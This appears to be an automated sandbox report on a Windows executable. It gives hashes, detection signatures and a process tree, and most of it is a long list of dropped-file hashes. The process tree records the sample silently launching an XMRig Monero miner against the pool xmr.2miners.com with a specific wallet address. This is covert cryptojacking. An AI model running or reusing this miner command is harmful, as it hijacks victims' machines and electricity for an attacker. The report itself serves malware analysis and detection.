Resubmissions
27-04-2023 22:41
230427-2mgzfacc9z 1027-04-2023 22:31
230427-2fm7wacc7t 1027-04-2023 22:07
230427-11xflscb9s 1027-04-2023 22:03
230427-1yjrqsac24 1027-04-2023 21:51
230427-1qtlzacb5s 1027-04-2023 21:43
230427-1k6dksab55 1027-04-2023 21:37
230427-1gndlaca9t 1027-04-2023 21:29
230427-1cb5rsaa76 1027-04-2023 21:17
230427-z5axqsaa48 10Analysis
-
max time kernel
1796s -
max time network
1802s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
-
submitted
16-04-2023 02:51
General
-
Target
Z8nhz6T5fGUYB0G.exe
-
Size
6.9MB
-
MD5
925b225bdfaec5df3055dfc87431c593
-
SHA1
dc38d7815845e2a63f51f57381899cf7a74f9ea0
-
SHA256
7e47da0e1a15eebd308ddd58d2902104186c817773d7fa5e5ebd7ff282adf489
-
SHA512
2aa927028c9d6d7e03d4cefda3c2bf5277fa2373741407fabf561e40e37b1ecc7aba6278b1b6e26d060a50a52217acee6c332460353eda3168ad72755cae0c95
-
SSDEEP
196608:bI2HdQmRrdA6lXCy1ArqkVpKCX+PrF4Z22eghOJg9:c2HdQOlXrAZYCuPJO22egoJg
Malware Config
Signatures
-
XMRig Miner payload 64 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Executes dropped EXE 1 IoCs
-
Loads dropped DLL 14 IoCs
-
Suspicious behavior: LoadsDriver 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 2 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Z8nhz6T5fGUYB0G.exe"C:\Users\Admin\AppData\Local\Temp\Z8nhz6T5fGUYB0G.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Z8nhz6T5fGUYB0G.exe"C:\Users\Admin\AppData\Local\Temp\Z8nhz6T5fGUYB0G.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c xmrig-6.19.0\xmrig.exe -B --coin=XMR -o xmr.2miners.com:2222 -u 48bfyB5bPyDgw8Xv2GqvhKfAFPVa1MKecSnPeCThPv2h8nt7G1gA9NG9TCFe5csLtudTzGHbz65SFQU7qa1ZQcFsUzryHr1.SB_RIG -p x3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.19.0\xmrig.exexmrig-6.19.0\xmrig.exe -B --coin=XMR -o xmr.2miners.com:2222 -u 48bfyB5bPyDgw8Xv2GqvhKfAFPVa1MKecSnPeCThPv2h8nt7G1gA9NG9TCFe5csLtudTzGHbz65SFQU7qa1ZQcFsUzryHr1.SB_RIG -p x4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
96KB
MD5f12681a472b9dd04a812e16096514974
SHA16fd102eb3e0b0e6eef08118d71f28702d1a9067c
SHA256d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
SHA5127d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2
-
Filesize
96KB
MD5f12681a472b9dd04a812e16096514974
SHA16fd102eb3e0b0e6eef08118d71f28702d1a9067c
SHA256d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
SHA5127d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2
-
Filesize
81KB
MD523dce6cd4be213f8374bf52e67a15c91
SHA1dfc1139d702475904326cb60699fec09de645009
SHA256190ade9f09be287fcc5328a6a497921f164c5c67e6d4fcdcb8b8fd6853b06fe2
SHA512c3983e2af9333a8538f68f7048b83c1bb32219c13adac26fd1036c3dc54394a3e2c1e4c0219232badd8e2c95418019b9b22906bdb23a19601447573a93c038a0
-
Filesize
81KB
MD523dce6cd4be213f8374bf52e67a15c91
SHA1dfc1139d702475904326cb60699fec09de645009
SHA256190ade9f09be287fcc5328a6a497921f164c5c67e6d4fcdcb8b8fd6853b06fe2
SHA512c3983e2af9333a8538f68f7048b83c1bb32219c13adac26fd1036c3dc54394a3e2c1e4c0219232badd8e2c95418019b9b22906bdb23a19601447573a93c038a0
-
Filesize
60KB
MD5477dd76dbb15bad8d77b978ea336f014
SHA13ee56105b71c3676c2e4fdaeb7d561f68cf03b9e
SHA25623063b56aa067c3d4a79a873d4db113f6396f3e1fe0af4b12d95d240c4cf9969
SHA5123a97c0a860e3cf97ae53b1f75623c52dcad9b64b70d329511781058a3477bc9faea32c2b8dc4852e7a8c4b0a02c8e3d027cf27e91187069cb35fb4d78d4e73ef
-
Filesize
60KB
MD5477dd76dbb15bad8d77b978ea336f014
SHA13ee56105b71c3676c2e4fdaeb7d561f68cf03b9e
SHA25623063b56aa067c3d4a79a873d4db113f6396f3e1fe0af4b12d95d240c4cf9969
SHA5123a97c0a860e3cf97ae53b1f75623c52dcad9b64b70d329511781058a3477bc9faea32c2b8dc4852e7a8c4b0a02c8e3d027cf27e91187069cb35fb4d78d4e73ef
-
Filesize
154KB
MD5401eca12e2beb9c2fbf4a0d871c1c500
SHA17cfc2f94ade6712dd993186041e54917a3dd15ae
SHA2565361824ddac7c84811b80834eca3acb5fe6d63bf506cf92baf5bd6c3786bf209
SHA512da6b63ba4e2e7886701ff2462c11dd989d8a3f2a2a64bb4f5eed7271b017d69e6cfe7347e3d515fdf615ec81d2bb58367bcc1533b8a5073edf9474a3759f6d7c
-
Filesize
154KB
MD5401eca12e2beb9c2fbf4a0d871c1c500
SHA17cfc2f94ade6712dd993186041e54917a3dd15ae
SHA2565361824ddac7c84811b80834eca3acb5fe6d63bf506cf92baf5bd6c3786bf209
SHA512da6b63ba4e2e7886701ff2462c11dd989d8a3f2a2a64bb4f5eed7271b017d69e6cfe7347e3d515fdf615ec81d2bb58367bcc1533b8a5073edf9474a3759f6d7c
-
Filesize
29KB
MD58eabd51d536276f3b3257ee975e50bfc
SHA11a13f707b29b895647a7de254031a6c80eb2cb7a
SHA25624c23d04d274a4c1234f1a1a35b1805e1f17f99968f8baeec0c3b5295f05608a
SHA512cfa027a1e01204078ccab3c2e1910e5806e0294d3ff0225d4713ea3b16cf07589005a0cc342688c3bb0bb6aa31b5401760c3890d46b39038b046072ad7b02b81
-
Filesize
29KB
MD58eabd51d536276f3b3257ee975e50bfc
SHA11a13f707b29b895647a7de254031a6c80eb2cb7a
SHA25624c23d04d274a4c1234f1a1a35b1805e1f17f99968f8baeec0c3b5295f05608a
SHA512cfa027a1e01204078ccab3c2e1910e5806e0294d3ff0225d4713ea3b16cf07589005a0cc342688c3bb0bb6aa31b5401760c3890d46b39038b046072ad7b02b81
-
Filesize
75KB
MD54ceb5b09b8e7dc208c45c6ac11f13335
SHA14dde8f5aa30bd86f17a04e09a792a769feb12010
SHA25671f014c3c56661ec93500db1d9f120e11725a8aedabc3a395658275710065178
SHA512858c271b32729762773562ab3dbda8021aa775ba4606f57e891be18d9fe27518a48db0811eff9aafe53fb44557186431c672bbec204fa17a8ae6b86765a02d07
-
Filesize
75KB
MD54ceb5b09b8e7dc208c45c6ac11f13335
SHA14dde8f5aa30bd86f17a04e09a792a769feb12010
SHA25671f014c3c56661ec93500db1d9f120e11725a8aedabc3a395658275710065178
SHA512858c271b32729762773562ab3dbda8021aa775ba4606f57e891be18d9fe27518a48db0811eff9aafe53fb44557186431c672bbec204fa17a8ae6b86765a02d07
-
Filesize
155KB
MD5dcb25c920292192dd89821526c09a806
SHA179c9af3a11b41d94728f274b45a7c61dc8bbf267
SHA2564e496cb3b89550cf5883d0b52f5f4660524969c7a5fa35a3b233df4f482d0482
SHA512ae4ed1a66eef0b0c474c6ee498cd1388ef41f3746905257c7f5c0f73abbe3262eb47bb5748d47d55f1bd376308335a089c2b4c15ffe5d7fc21f2a660a4a93ba4
-
Filesize
155KB
MD5dcb25c920292192dd89821526c09a806
SHA179c9af3a11b41d94728f274b45a7c61dc8bbf267
SHA2564e496cb3b89550cf5883d0b52f5f4660524969c7a5fa35a3b233df4f482d0482
SHA512ae4ed1a66eef0b0c474c6ee498cd1388ef41f3746905257c7f5c0f73abbe3262eb47bb5748d47d55f1bd376308335a089c2b4c15ffe5d7fc21f2a660a4a93ba4
-
Filesize
1.0MB
MD5a33d60e728fcbfe495981f4adc19de5b
SHA163a58b6b47c1d26268da082f93eb04df29287cd0
SHA256c573eaa387551f38c41a5fac95dc873a9bd30534cc62837992071ef61de6ef5a
SHA512180922fe1b9538799b36957d22e02bf87d851df81baac9a724ca400b85d303a58dbf169a800005a19e97d1bbfc94acb5003c766fac2af2100f43aaf139f8ad93
-
Filesize
278KB
MD5b18e918767d99291f8771414b76a8e65
SHA1ea544791b23e4a8f47ace99b9d08b3609d511293
SHA256a59fde883a0ef9d74ab9dad009689e00173d28595b57416c98b2ee83280c6e4c
SHA51278a4eac65754fb8d37c1da85534d6e1dd0eb2b3535ef59d75c34a91d716afc94258599b1078c03a4b81e142945b13e671ec46b5f2fcb8c8c46150ae7506e0d8d
-
Filesize
3.3MB
MD56f4b8eb45a965372156086201207c81f
SHA18278f9539463f0a45009287f0516098cb7a15406
SHA256976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541
SHA5122c5c54842aba9c82fb9e7594ae9e264ac3cbdc2cc1cd22263e9d77479b93636799d0f28235ac79937070e40b04a097c3ea3b7e0cd4376a95ed8ca90245b7891f
-
Filesize
3.3MB
MD56f4b8eb45a965372156086201207c81f
SHA18278f9539463f0a45009287f0516098cb7a15406
SHA256976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541
SHA5122c5c54842aba9c82fb9e7594ae9e264ac3cbdc2cc1cd22263e9d77479b93636799d0f28235ac79937070e40b04a097c3ea3b7e0cd4376a95ed8ca90245b7891f
-
Filesize
3.3MB
MD56f4b8eb45a965372156086201207c81f
SHA18278f9539463f0a45009287f0516098cb7a15406
SHA256976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541
SHA5122c5c54842aba9c82fb9e7594ae9e264ac3cbdc2cc1cd22263e9d77479b93636799d0f28235ac79937070e40b04a097c3ea3b7e0cd4376a95ed8ca90245b7891f
-
Filesize
686KB
MD58769adafca3a6fc6ef26f01fd31afa84
SHA138baef74bdd2e941ccd321f91bfd49dacc6a3cb6
SHA2562aebb73530d21a2273692a5a3d57235b770daf1c35f60c74e01754a5dac05071
SHA512fac22f1a2ffbfb4789bdeed476c8daf42547d40efe3e11b41fadbc4445bb7ca77675a31b5337df55fdeb4d2739e0fb2cbcac2feabfd4cd48201f8ae50a9bd90b
-
Filesize
686KB
MD58769adafca3a6fc6ef26f01fd31afa84
SHA138baef74bdd2e941ccd321f91bfd49dacc6a3cb6
SHA2562aebb73530d21a2273692a5a3d57235b770daf1c35f60c74e01754a5dac05071
SHA512fac22f1a2ffbfb4789bdeed476c8daf42547d40efe3e11b41fadbc4445bb7ca77675a31b5337df55fdeb4d2739e0fb2cbcac2feabfd4cd48201f8ae50a9bd90b
-
Filesize
4.3MB
MD554f8267c6c116d7240f8e8cd3b241cd9
SHA1907b965b6ce502dad59cde70e486eb28c5517b42
SHA256c30589187be320bc8e65177aeb8dc1d39957f7b7dcda4c13524dd7f436fb0948
SHA512f6c865c8276fe1a1a0f3267b89fb6745a3fc82972032280dce8869006feb2b168516e017241a0c82bdae0f321fab388523691769f09a502fc3bd530c1c4cacf1
-
Filesize
4.3MB
MD554f8267c6c116d7240f8e8cd3b241cd9
SHA1907b965b6ce502dad59cde70e486eb28c5517b42
SHA256c30589187be320bc8e65177aeb8dc1d39957f7b7dcda4c13524dd7f436fb0948
SHA512f6c865c8276fe1a1a0f3267b89fb6745a3fc82972032280dce8869006feb2b168516e017241a0c82bdae0f321fab388523691769f09a502fc3bd530c1c4cacf1
-
Filesize
28KB
MD5a7863648b3839bfe2d5f7c450b108545
SHA110078d8edb2c46a2e74ec7680d2db293acc5731c
SHA2568b4b5d37b829ba885281134d9948f249e0ecd553ae72deda6a404619fdf4ccc5
SHA512a709865709abe0c39d68e2ced4aa4387cd173ea9aa0a04c9794733b5bf3584d50256a9f756fee1dec144a9d724b028264763196eeb7b89ab2697ff26d83db843
-
Filesize
28KB
MD5a7863648b3839bfe2d5f7c450b108545
SHA110078d8edb2c46a2e74ec7680d2db293acc5731c
SHA2568b4b5d37b829ba885281134d9948f249e0ecd553ae72deda6a404619fdf4ccc5
SHA512a709865709abe0c39d68e2ced4aa4387cd173ea9aa0a04c9794733b5bf3584d50256a9f756fee1dec144a9d724b028264763196eeb7b89ab2697ff26d83db843
-
Filesize
1.1MB
MD53b337c2d41069b0a1e43e30f891c3813
SHA1ebee2827b5cb153cbbb51c9718da1549fa80fc5c
SHA256c04daeba7e7c4b711d33993ab4c51a2e087f98f4211aea0dcb3a216656ba0ab7
SHA512fdb3012a71221447b35757ed2bdca6ed1f8833b2f81d03aabebd2cd7780a33a9c3d816535d03c5c3edd5aaf11d91156842b380e2a63135e3c7f87193ad211499
-
Filesize
1.1MB
MD53b337c2d41069b0a1e43e30f891c3813
SHA1ebee2827b5cb153cbbb51c9718da1549fa80fc5c
SHA256c04daeba7e7c4b711d33993ab4c51a2e087f98f4211aea0dcb3a216656ba0ab7
SHA512fdb3012a71221447b35757ed2bdca6ed1f8833b2f81d03aabebd2cd7780a33a9c3d816535d03c5c3edd5aaf11d91156842b380e2a63135e3c7f87193ad211499
-
Filesize
1.1MB
MD5cf1eda3f804dfa64ac00cad29ab243e1
SHA13b0f08fa679227fa635490725e17460a9de8092d
SHA256a3aa957cf891a411a4e22e41aa4053265eccba4d47b5abe6475789ebba7fcca0
SHA5121ba213a7e5916fe628d80efdeade35de7db88cc8118f8ac348dc7f7a7c5977975c9cf63d774136259fc055790eb96644bde2ee19c044126f1d59d665e4bc8d97
-
Filesize
1.1MB
MD5cf1eda3f804dfa64ac00cad29ab243e1
SHA13b0f08fa679227fa635490725e17460a9de8092d
SHA256a3aa957cf891a411a4e22e41aa4053265eccba4d47b5abe6475789ebba7fcca0
SHA5121ba213a7e5916fe628d80efdeade35de7db88cc8118f8ac348dc7f7a7c5977975c9cf63d774136259fc055790eb96644bde2ee19c044126f1d59d665e4bc8d97
-
Filesize
7.9MB
MD50b021b93052fed386a4d094edae61ca8
SHA15b6a58cbe268db9128ab683a29d2b9a856d3588b
SHA2560510f1e57b0bc5967a8b658cea729948219d578b6c9b3a036ff33b4a6a46e495
SHA51293b9d43635ba6d768a5285dd0d95eb54fed05f3aaf0e41ff67016773b680373770cb1736e0a3ff5c37f8737531fe313be642b20ccfa0a1ad46dc903cd0c62ae6
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
256KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB